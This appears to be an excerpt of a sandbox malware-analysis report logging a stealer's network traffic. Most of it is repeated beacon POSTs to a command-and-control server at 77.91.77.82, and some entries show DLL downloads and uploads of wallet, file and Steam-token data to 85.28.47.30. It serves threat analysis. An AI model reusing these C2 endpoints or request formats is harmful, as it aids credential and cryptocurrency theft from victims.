Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAEHost: 85.28.47.30Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCFHost: 85.28.47.30Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 35 62 61 38 66 35 66 33 64 36 33 64 33 38 65 32 61 33 61 35 35 32 32 37 38 34 66 39 64 65 63 66 30 64 33 37 64 39 65 64 65 37 31 61 61 32 62 33 66 35 62 35 61 39 38 34 61 61 31 65 63 35 65 35 64 31 64 66 66 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 2d 2d 0d 0a Data Ascii: ------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="token"ab5ba8f5f3d63d38e2a3a5522784f9decf0d37d9ede71aa2b3f5b5a984aa1ec5e5d1dff9------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="message"wallets------CAAKKFHCFIECAAAKEGCF--
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGIDGCGIEGDGDGDGHJKHost: 85.28.47.30Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 35 62 61 38 66 35 66 33 64 36 33 64 33 38 65 32 61 33 61 35 35 32 32 37 38 34 66 39 64 65 63 66 30 64 33 37 64 39 65 64 65 37 31 61 61 32 62 33 66 35 62 35 61 39 38 34 61 61 31 65 63 35 65 35 64 31 64 66 66 39 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 2d 2d 0d 0a Data Ascii: ------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="token"ab5ba8f5f3d63d38e2a3a5522784f9decf0d37d9ede71aa2b3f5b5a984aa1ec5e5d1dff9------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="message"files------GCGIDGCGIEGDGDGDGHJK--
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIDGDHCGCBAKFHIIIIIHost: 85.28.47.30Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 35 62 61 38 66 35 66 33 64 36 33 64 33 38 65 32 61 33 61 35 35 32 32 37 38 34 66 39 64 65 63 66 30 64 33 37 64 39 65 64 65 37 31 61 61 32 62 33 66 35 62 35 61 39 38 34 61 61 31 65 63 35 65 35 64 31 64 66 66 39 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 2d 2d 0d 0a Data Ascii: ------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="token"ab5ba8f5f3d63d38e2a3a5522784f9decf0d37d9ede71aa2b3f5b5a984aa1ec5e5d1dff9------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="file"------GHIDGDHCGCBAKFHIIIII--
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCGHIDHCBFHIDGHCBKHost: 85.28.47.30Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 35 62 61 38 66 35 66 33 64 36 33 64 33 38 65 32 61 33 61 35 35 32 32 37 38 34 66 39 64 65 63 66 30 64 33 37 64 39 65 64 65 37 31 61 61 32 62 33 66 35 62 35 61 39 38 34 61 61 31 65 63 35 65 35 64 31 64 66 66 39 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 2d 2d 0d 0a Data Ascii: ------EBGCGHIDHCBFHIDGHCBKContent-Disposition: form-data; name="token"ab5ba8f5f3d63d38e2a3a5522784f9decf0d37d9ede71aa2b3f5b5a984aa1ec5e5d1dff9------EBGCGHIDHCBFHIDGHCBKContent-Disposition: form-data; name="message"jbdtaijovg------EBGCGHIDHCBFHIDGHCBK--
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
